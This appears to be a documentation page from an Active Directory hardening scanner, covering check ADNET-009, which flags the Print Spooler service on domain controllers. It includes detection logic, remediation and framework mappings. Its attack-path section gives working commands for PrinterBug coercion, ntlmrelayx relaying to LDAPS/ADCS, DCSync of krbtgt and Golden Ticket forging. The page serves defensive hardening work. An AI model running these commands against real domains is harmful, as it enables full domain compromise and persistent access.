ADNET-009: Servicio de cola de impresión en los controladores de dominio
- Plataforma
- Active Directory
- Categoría
- AD Network & Relay Preconditions
- Severidad
- Critical
- Pilar de Zero Trust
- Networks (peso 3)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
El servicio de cola de impresión (Print Spooler) en un controlador de dominio es el punto de conexión RPC explotado por la técnica de coacción PrinterBug (y una larga lista de derivados, incluida la CVE-2021-1675 PrintNightmare original). Combinado con cualquier destino de retransmisión NTLM (ADCS Web, LDAP sin firma, SMB sin firma), otorga a un atacante no autenticado una primitiva para coaccionar a la cuenta de equipo del controlador de dominio a autenticarse ante un objetivo de su elección. El servicio de cola de impresión rara vez es necesario en un controlador de dominio.
Por qué importa
Print Spooler on a DC is the single most reliable unauthenticated-to-Domain-Admin path that has remained exploitable across every Windows Server version from 2008 through 2025. The MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx call accepts a UNC path as the notification target and the spooler dutifully authenticates outbound as the host machine account. Because the DC machine account is a member of the Domain Controllers group and holds replication rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), a successful NTLM relay of that authentication into LDAP allows the attacker to grant a controlled account the same rights, then run DCSync (Mimikatz lsadump::dcsync) to extract the krbtgt hash and forge Golden Tickets. The relay can also land at the ADCS Web Enrollment HTTP endpoint, which historically did not require Extended Protection for Authentication, allowing the attacker to request a certificate as the DC machine account (Schannel auth) and then use that certificate via PKINIT to obtain a TGT for the DC, yielding the same outcome. The PrintNightmare RCE variants (CVE-2021-1675 elevation, CVE-2021-34527 RCE) extend the same RPC surface to allow any authenticated user to load an arbitrary DLL into spoolsv.exe running as SYSTEM on the DC. Microsoft has issued partial patches repeatedly (KB5005010, KB5005033, the Point and Print hardening of August 2021, and CVE-2022-21999 SpoolFool) and the surface keeps regressing because Spooler ships enabled by default on Windows Server installs including Domain Controllers. The only durable mitigation is to remove the service from the DC entirely. Operational impact is zero: domain controllers do not host printers and the only legitimate consumers of MS-RPRN on a DC are misconfigurations.
Ruta de ataque
Step 1: Foothold. Attacker holds any authenticated domain user credential (low-privileged user, machine account joined to the domain, or even a coerced anonymous bind in some legacy configs). No special groups are required. Step 2: Identify exposed Spooler. The attacker runs SpoolSample.exe (Lee Christensen) or the equivalent rpcdump.py contoso.local | grep -i MS-RPRN to confirm the printer-notify endpoint is reachable on each DC. BloodHound 5+ surfaces this directly via the CoerceToTGT and CanRDP edges where the Spooler check has been added to collection. Step 3: Stand up the relay. On the attacker host, run impacket-ntlmrelayx -t ldaps://dc01.contoso.local --escalate-user pwn --no-smb-server to relay into LDAPS and grant DCSync rights to a controlled account, or -t http://adcs01.contoso.local/certsrv/certfnsh.asp --adcs --template DomainController to request a DC certificate via ADCS Web Enrollment (ESC8). If targeting SMB without signing, -t smb://fs01.contoso.local -c "powershell -enc <base64>". Step 4: Trigger the coercion. The attacker invokes the MS-RPRN coercion: SpoolSample.exe dc01.contoso.local attacker.contoso.local, or the Python equivalent printerbug.py contoso.local/lowuser:Password@dc01 attacker. The DC immediately initiates an SMB authentication to attacker (the relay host) as DC01$. The relay catches the NetNTLMv2 challenge-response and replays it to the configured sink. If LDAP signing is disabled (default in many environments through 2022), the relayed bind succeeds with the DC machine accounts privileges. Step 5: Elevate. With the relayed LDAP session, ntlmrelayx modifies the domain root NTSecurityDescriptor to grant the attacker-controlled user (pwn) the DS-Replication-Get-Changes-All extended right. The attacker then runs secretsdump.py -just-dc contoso.local/pwn@dc01 or mimikatz lsadump::dcsync /user:krbtgt to extract the krbtgt hash, complete domain compromise. Step 6: Persistence. With krbtgt the attacker forges a Golden Ticket valid for any user, any group, indefinitely (mimikatz kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-... /krbtgt:<hash> /ptt). The Spooler coercion path remains open even after the krbtgt is rotated unless Spooler is actually disabled, so the attacker re-uses it for re-entry after incident response. Alternative path (PrintNightmare RCE): instead of coercing outbound auth, the attacker uses the same RPC interface to call RpcAddPrinterDriverEx with a malicious driver DLL hosted on an SMB share. spoolsv.exe loads the DLL as SYSTEM on the DC, granting immediate SYSTEM on a Tier 0 host. This is CVE-2021-34527 and remained partially exploitable through multiple patch cycles.
Cómo lo evalúa Guerrilla
Guerrilla enumerates DCs with the SERVER_TRUST_ACCOUNT bit filter and for each DC executes three independent checks. (1) Get-CimInstance -ComputerName $dc -ClassName Win32_Service -Filter "Name=\"Spooler\"" returns Name, State, StartMode, ProcessId, PathName. A finding is raised if State=Running, StartMode=Auto, or StartMode=Manual; only StartMode=Disabled and State=Stopped clears the check. (2) Invoke-Command -ComputerName $dc -ScriptBlock { Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\Spooler -Name Start } returns the registry start type as a REG_DWORD; only 4 (Disabled) clears the check. (3) The Default Domain Controllers Policy GPO (and any other GPO linked to the Domain Controllers OU at OU=Domain Controllers,DC=contoso,DC=local) is parsed via Get-GPO + Get-GPRegistryValue and the underlying GptTmpl.inf at \\contoso.local\SYSVOL\contoso.local\Policies\{GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf is inspected for the [Service General Setting] section containing "Spooler",4,"". The absence of this entry, even if runtime state is correct, downgrades the result to High because there is no policy guarantee against drift. Guerrilla also issues an RPC interface enumeration via Test-RpcInterface (wraps rpcdump) against the spoolss named pipe to confirm the network exposure matches the service state, surfacing host-firewall misconfigurations where Spooler is stopped but a stale pipe remains. The check pairs with paired runtime alerting on Event ID 808 (Print Service Operational Log: print server error) and Event ID 316 (driver loaded) on DCs, both of which should be zero on a hardened DC.
Valor recomendado
El servicio de cola de impresión está deshabilitado (tipo de inicio 4) en la directiva Default Domain Controllers Policy
Remediación
Edite la directiva Default Domain Controllers Policy: Configuración del equipo > Directivas > Configuración de Windows > Configuración de seguridad > Servicios del sistema > Cola de impresión > 'Definir esta configuración de directiva' = Deshabilitado. Esto se propaga a todos los controladores de dominio en el siguiente gpupdate. Verifique en cada controlador de dominio: Get-Service Spooler debe mostrar Status=Stopped, StartType=Disabled. Si un controlador de dominio también ejecuta servicios de impresión (no debería), busque primero otro host para ese rol.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- CM-7
- CIS AD Benchmark
- 6.4.1
- MITRE ATT&CK
- T1210, T1557.001